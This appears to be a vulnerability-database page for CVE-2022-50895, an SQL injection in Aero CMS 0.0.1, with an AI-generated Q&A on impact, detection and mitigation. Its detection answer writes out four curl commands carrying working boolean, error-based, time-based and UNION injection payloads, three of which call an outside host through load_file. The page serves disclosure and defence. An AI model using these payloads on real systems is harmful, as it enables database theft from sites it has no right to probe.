CVE-2022-50895
SQL Injection in Aero CMS 0.0.1 Allows Data Extraction
Publication date: 2026-01-13
Last updated on: 2026-03-02
Assigner: VulnCheck
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| aerocms_project | aerocms | 0.0.1 |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-89 | The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. |
Attack-Flow Graph
AI Powered Q&A
Can you explain this vulnerability to me?
This vulnerability is a SQL injection flaw in Aero CMS version 0.0.1, specifically in the 'author' parameter of its PHP-based web application. Attackers can exploit this flaw using various SQL injection techniques such as boolean-based blind, error-based, time-based blind, and UNION query methods to manipulate database queries. This allows them to extract sensitive information from the backend database, potentially leading to unauthorized access and data theft due to improper input sanitization and validation. [1, 3]
How can this vulnerability impact me? :
Exploitation of this vulnerability can lead to an attacker remotely dumping the entire database, resulting in data leakage and unauthorized access to sensitive information. This can compromise the integrity and confidentiality of the system, potentially allowing further exploitation or system compromise. The vulnerability is classified as high severity with a CVSS v4 base score of 8.8, indicating a significant impact if exploited. [1, 3]
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by testing the `author` parameter in HTTP GET requests for SQL injection using various payloads. Example commands include sending crafted HTTP requests with payloads that exploit boolean-based blind, error-based, time-based blind, and UNION query SQL injection techniques. For instance, using curl or similar tools to send requests like: 1. Boolean-based blind SQLi payload: curl 'http://target/aerocms/?author=-5045' OR 8646=8646 AND 'YeVm'='YeVm&p_id=4' 2. Error-based SQLi payload: curl "http://target/aerocms/?author=admin'+(select load_file('\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\pvq'))+'' OR (SELECT 7539 FROM(SELECT COUNT(*),CONCAT(0x717a6a6a71,(SELECT (ELT(7539=7539,1))),0x7170716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'mwLN'='mwLN&p_id=4" 3. Time-based blind SQLi payload: curl "http://target/aerocms/?author=admin'+(select load_file('\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\pvq'))+'' AND (SELECT 6824 FROM (SELECT(SLEEP(5)))QfTF) AND 'zVTI'='zVTI&p_id=4" 4. UNION-based SQLi payload: curl "http://target/aerocms/?author=admin'+(select load_file('\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\pvq'))+'' UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a6a71,0x4f617a456c7953617866546b7a666d49434d644662587149734b517a4e674d5471615a73616d58,0x7170716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p_id=4" Monitoring for unusual database errors, delays, or unexpected output in responses to these requests can help detect the vulnerability. [1]
What immediate steps should I take to mitigate this vulnerability?
Immediate mitigation steps include: 1. Apply input validation and sanitization on the `author` parameter to prevent SQL injection. 2. Use prepared statements or parameterized queries in the application code to safely handle user inputs. 3. If possible, update Aero CMS to a version where this vulnerability is fixed or apply patches if available. 4. Restrict database user permissions to limit the impact of a potential SQL injection. 5. Monitor and block suspicious requests targeting the `author` parameter. 6. Consider deploying a Web Application Firewall (WAF) to detect and block SQL injection attempts. Since Aero CMS 0.0.1 is vulnerable, upgrading or patching the software is critical. [1, 3]